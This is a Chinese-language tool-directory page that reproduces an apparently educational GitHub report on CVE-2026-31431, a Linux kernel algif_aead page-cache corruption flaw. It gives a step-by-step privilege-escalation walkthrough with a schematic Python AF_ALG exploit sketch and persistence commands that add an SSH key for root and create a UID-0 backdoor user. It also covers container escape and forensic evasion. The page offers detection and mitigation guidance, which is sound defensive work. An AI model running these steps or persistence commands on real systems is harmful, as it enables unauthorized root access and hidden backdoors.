Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/krish-foren6/cve-2026-31431-report-copy-fail-vulnerability-
权限提升内存取证漏洞分析漏洞利用学习与教育事件响应容器逃逸
GitHubkrish-foren6/cve-2026-31431-report-copy-fail-vulnerability-

CVE-2026-31431-Report-Copy-fail-Vulnerability-

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Linux 内核中 Copy Fail 漏洞(CVE-2026-31431)的详细分析,包括内存破坏机制、权限提升流程及安全影响。

查看仓库
194个月前尚未审核

CVE-2026-31431 — Copy Fail:Linux 内核权限提升

CVE CVSS Kernel Type Purpose

对 Linux 内核中 Copy Fail 漏洞的教育性分析。
涵盖内存破坏机制、权限提升流程、容器逃逸及防御对策。


⚠️ 免责声明

本仓库仅用于教育和研究目的。
请勿在非您所有或未经明确书面许可的系统上使用此信息。
所有代码片段和命令均严格用于帮助理解 Linux 内核内部机制。


目录

  • 概述
  • 漏洞身份卡
  • 背景概念
  • 漏洞工作原理
  • 完整攻击流程
  • 为何如此危险
  • 安全实践观察
  • 防御与检测
  • 与类似 CVE 的对比
  • 术语表
  • 快速参考

概述

CVE-2026-31431,又称 Copy Fail,是一个 Linux 内核漏洞,非特权本地用户无需任何特殊权限即可提升至 root。

该攻击完全在 RAM 中进行。磁盘文件从未被触碰——这意味着文件哈希保持干净、时间戳不变、审计日志无任何记录。当系统重启时,所有证据消失。

root@kitploit:~
普通用户  →  利用 algif_aead 漏洞  →  覆盖页缓存  →  root

关键特性:

  • ✅ 无竞态条件——每次都能可靠触发
  • ✅ 磁盘不受影响——取证一无所获
  • ✅ 仅需标准本地用户账户
  • ✅ 通过共享页缓存实现容器逃逸

漏洞身份卡


背景概念

/usr/bin/su — 目标二进制

su(切换用户)允许用户切换到另一个账户——通常是 root。它是一个 SetUID 二进制:

root@kitploit:~
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
#   ^-- 's' = SetUID 标志

s 标志意味着:当任何用户运行此二进制时,它以 root 的权限执行。这使其成为高价值目标。

其内部逻辑(简化):

root@kitploit:~
if (password_correct()) {
    give_root_access();
} else {
    deny_access();
}

攻击目标:完全跳过 password_correct() 检查。


RAM 与页缓存

当 Linux 从磁盘读取文件时,它会在 RAM 中保留一份副本,称为页缓存。

组件描述
磁盘磁盘上的原始文件(书架)
页缓存文件的 RAM 副本(您桌上的复印件)
CPU从页缓存读取并执行——速度快
攻击者修改 RAM 副本;磁盘保持不动
root@kitploit:~
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB  ← 这就是页缓存

缓冲区与安全缓冲区

类型安全性
安全缓冲区 — 内核分配,大小和边界受控✅ 安全
页缓存 — 文件支持的 RAM 副本,共享,可执行⚠️ 若被写入则危险
错误指针 — 漏洞导致的指向任意位置的地址🔴 严重

AF_ALG 与 algif_aead

AF_ALG(算法族)是 Linux 套接字接口,允许用户空间程序使用内核加密功能(AES、SHA、AEAD)。

root@kitploit:~
socket(AF_ALG, SOCK_SEQPACKET, 0);  // 打开加密套接字

algif_aead 是处理通过 AF_ALG 进行 AEAD 加密(如 AES-GCM)的内核模块。漏洞存在于其数据复制步骤中。

root@kitploit:~
AF_ALG  →  algif_aead  →  AES-GCM 引擎  →  输出缓冲区
                                ↑
                           漏洞在此

漏洞工作原理

该漏洞不在加密逻辑中。它位于内存处理中——在数据复制过程中选择了错误的内存区域。

正常流程(无漏洞):

root@kitploit:~
destination = safe_output_buffer;       // 正确位置
memcpy(destination, user_data, size);   // 数据安全写入

漏洞流程(存在漏洞):

root@kitploit:~
destination = buffer + WRONG_OFFSET;    // 漏洞:错误指针!
memcpy(destination, user_data, size);   // 数据落入页缓存

内核本应写入安全输出缓冲区。由于偏移量计算错误,它写入了页缓存——其中保存着 /usr/bin/su 的 RAM 副本。

攻击者在内存中更改的内容

该二进制包含 x86-64 机器码。攻击者针对触发认证失败的条件跳转:

攻击前:

root@kitploit:~
cmp  eax, 0     ; 检查返回值
jne  0x1234     ; 若失败 → 跳转到拒绝
call give_root  ; 授予 root

攻击后(RAM 中更改 2 字节):

root@kitploit:~
cmp  eax, 0     ; 相同
90 90           ; NOP NOP ← 跳转被替换,检查被跳过!
call give_root  ; CPU 直接落在此处

NOP = 无操作。CPU 不执行任何操作并继续前进——完全跳过认证检查。


完整攻击流程

攻击前心态

“我只需要一个普通用户账户。内核会自己犯错误。
磁盘保持干净。无日志。每次都能成功。”

第 0 步 — 侦察

root@kitploit:~
whoami && id
# uid=1000(user) gid=1000(user) ← 普通用户

uname -r
# 6.1.0-generic ← 在受影响范围内

ls -la /usr/bin/su
# -rwsr-xr-x root root ← 确认 SetUID

python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG available')"

第 1 步 — 将文件加载到页缓存

root@kitploit:~
cat /usr/bin/su > /dev/null
# /usr/bin/su 现已加载到页缓存 ✓

第 2 步 — 逆向工程二进制

root@kitploit:~
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su

寻找:认证函数地址、jne/jnz 条件跳转及其精确字节偏移量。

第 3 步 — 打开 AF_ALG 套接字

root@kitploit:~
import socket, struct

sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)

第 4 步 — 发送构造的载荷

root@kitploit:~
payload = b'\x90\x90'  # NOP NOP — 替换条件跳转
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])

第 5 步 — 内核覆盖页缓存

root@kitploit:~
# 内核内部(简化):
destination = buffer + crafted_offset  # 漏洞:错误指针
memcpy(destination, payload, 2)        # NOP 字节写入页缓存
# /usr/bin/su 的密码检查在 RAM 中现为 NOP NOP

第 6 步 — 触发

root@kitploit:~
su
# 密码:(任意内容——或直接按回车)
# root@victim:/# ← 获得 ROOT

发生了什么: 系统从 RAM 执行 /usr/bin/su。密码检查为 NOP。CPU 跳过它。直接调用 give_root()。

第 7 步 — 持久化(可选)

root@kitploit:~
echo 'attacker_public_key' >> /root/.ssh/authorized_keys

useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd

为何如此危险

无竞态条件

磁盘不受影响 — 取证失败

攻击后,取证调查员会发现:

root@kitploit:~
sha256sum /usr/bin/su       # 与之前相同的哈希 ← 磁盘未受影响
diff /usr/bin/su backup/su  # 无差异
grep -r 'attack' /var/log/  # 无任何记录
auditd logs                 # 未记录文件写入

重启后,RAM 被清空——所有证据消失。

容器逃逸

容器隔离用户空间——但内核是共享的,且页缓存是内核内存。

root@kitploit:~
宿主机内核
├── 容器 1(隔离的用户空间)
│   └── 攻击者在此
├── 容器 2
└── 宿主机进程

页缓存:所有容器与宿主机之间共享!

逃逸路径: 容器 1 中的攻击者读取宿主机的 /usr/bin/su → 触发漏洞 → 宿主机二进制在 RAM 中被修改 → 在宿主机上运行 su 即可在宿主机上获得 root。

受影响:Docker、Podman、LXC、Kubernetes(共享节点)——如果宿主机内核存在漏洞。


安全实践观察

这些仅为观察练习。任何测试请使用实验室环境(Docker + 旧内核虚拟机)。

观察页缓存

root@kitploit:~
free -h                      # 记录之前的 Cache 值
cat /usr/bin/su > /dev/null  # 将文件加载到页缓存
free -h                      # Cache 略有增加

查看二进制内存映射

root@kitploit:~
su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su

检查二进制

root@kitploit:~
xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'

查看汇编(gdb)

root@kitploit:~
sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit

磁盘与 RAM 哈希对比

root@kitploit:~
sha256sum /usr/bin/su
# 正常情况下与磁盘相同——成功攻击后不同
# /proc/PID/mem 比较需要 root 权限

防御与检测

即时缓解措施

优先级 1 — 内核更新(最佳修复)

root@kitploit:~
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot

# RHEL / CentOS
sudo yum update kernel
sudo reboot

优先级 2 — 禁用 algif_aead

root@kitploit:~
sudo modprobe -r algif_aead

echo 'install algif_aead /bin/false' | \
  sudo tee /etc/modprobe.d/disable-algif-aead.conf

优先级 3 — 访问控制
在 systemd 服务中应用带 SystemCallFilter 的 seccomp 配置文件,以限制不受信任进程对 AF_ALG 套接字的访问。


检测

eBPF 实时检测

root@kitploit:~
sudo bpftrace -e '
  kprobe:algif_aead_sendmsg {
    printf("ALERT: algif_aead sendmsg by PID %d (user %d)\n", pid, uid);
  }
'

容器加固

root@kitploit:~
# 使用 seccomp 配置文件运行(阻止 AF_ALG)
docker run --security-opt seccomp=custom-profile.json my-image
  • 使用阻止 AF_ALG 套接字创建的 seccomp 配置文件
  • 对高风险工作负载使用 gVisor 或类似的内核隔离方案
  • 避免特权容器
  • 在容器内设置只读根文件系统
  • 应用 Kubernetes Pod 安全标准 — restricted 策略

与类似 CVE 的对比

CVE-2026-31431 结合了隐蔽性(磁盘不变)+ 可靠性(无竞态条件)+ 容器逃逸——使其在同类别漏洞中尤为危险。


术语表


快速参考

攻击流程一览

防御检查清单

  • 立即将内核更新至已修补版本
  • 如非必需,禁用 algif_aead 模块
  • 启用 eBPF 或 Falco 内核级监控
  • 更新容器 seccomp 配置文件以阻止 AF_ALG
  • 安排基于内存的二进制完整性检查
  • 审查并更新事件响应计划

一句话总结

在 CVE-2026-31431 中,Linux 的加密模块(algif_aead)存在内存复制漏洞,导致攻击者控制的数据落入页缓存而非安全输出缓冲区——在 RAM 中静默修改 SetUID 二进制——使任何本地用户无需在磁盘上留下任何痕迹即可获得 root 访问权限。


本文档为教育目的而编写,旨在帮助理解 Linux 内核安全内部机制。
— 仅供教育用途 —

📄 完整报告(PDF)

👉 下载完整报告

下载工具
字段值
CVE IDCVE-2026-31431
通用名称Copy Fail / algif_aead 页缓存破坏
CVSS v3.1 评分7.8 — 严重
攻击类型本地权限提升(LPE)
受影响内核版本Linux 5.10 至 6.8(约)
漏洞组件crypto/algif_aead.c — AF_ALG 套接字接口
利用可靠性高 — 无需竞态条件
磁盘证据无 — 仅修改 RAM
容器影响是 — 通过共享页缓存逃逸宿主机
补丁状态可用(上游内核补丁已发布)
CVE竞态条件?磁盘安全?可靠性
CVE-2016-5195 DirtyCow是 — 需要精确时序否 — 磁盘被修改中
CVE-2022-0847 DirtyPipe极小是 — 仅 RAM高
CVE-2026-31431 Copy Fail否 — 直接写入是 — 仅 RAM非常高
检测方法有效?
sha256sum / 文件哈希❌ 磁盘完全相同
文件修改时间戳❌ 磁盘未受影响
auditd 文件写入日志❌ 未发生磁盘写入
进程内存检查(/proc)✅ 仅当实时监控时
eBPF 内核监控✅ 系统调用级检测
内存取证(LiME)✅ 但较复杂
方法命令 / 方式
内核版本uname -r → 与已修补版本对比
模块是否加载?lsmod | grep algif_aead
eBPF 监控bpftrace -e 'kprobe:algif_aead_sendmsg { ... }'
进程内存cat /proc/PID/maps — 与磁盘哈希对比
auditdausearch -sc socket -sv no
Falco规则:意外的 memfd 或页缓存写入
内存取证LiME 转储用于事后分析
CVE / 名称竞态条件?磁盘安全?容器逃逸?可靠性
CVE-2016-5195 DirtyCow是 — 需要精确时序❌ 磁盘被修改部分中
CVE-2022-0847 DirtyPipe极小✅ 仅 RAM是高
CVE-2026-31431 Copy Fail否 — 直接写入✅ 仅 RAM是 — 共享缓存非常高
术语含义
权限提升未经授权从普通用户提升至 root
页缓存文件在 RAM 中的副本,由内核管理
SetUID 二进制root 拥有的文件,任何用户运行均以 root 权限执行
写入原语通过漏洞获得的任意内存写入能力
竞态条件基于时序的攻击,需要精确的执行窗口
AF_ALGLinux 内核加密套接字接口(算法族)
algif_aeadAEAD 加密内核模块 — 漏洞组件
memcpy()内存复制函数 — 将数据从一个地址移动到另一个地址
NOP无操作 — 不执行任何操作并继续的 CPU 指令
容器逃逸突破容器以访问宿主机系统
eBPF用于实时系统调用检测的内核级监控工具
LiMELinux 内存提取器 — 用于取证分析的 RAM 转储工具
Seccomp安全计算 — Linux 限制系统调用的机制
ELF可执行与可链接格式 — 标准 Linux 二进制格式
CVE常见漏洞与暴露 — 漏洞标识符
CVSS通用漏洞评分系统 — 标准化严重性评分
内核模块内核插件(如设备驱动程序、加密处理器)
偏移量从一个内存点到另一个内存点的字节距离
逆向工程在无源代码的情况下分析编译后的二进制
步骤操作
1whoami — 确认您是普通用户
2uname -r — 验证内核在受影响范围内(5.10 – 6.8)
3ls -la /usr/bin/su — 确认存在 SetUID 标志
4运行利用脚本:AF_ALG → algif_aead → 构造的载荷
5内核漏洞触发 → /usr/bin/su 的页缓存在 RAM 中被覆盖
6运行 su → 获得 ROOT(无需密码)
7持久化:添加 SSH 密钥或创建后门 root 用户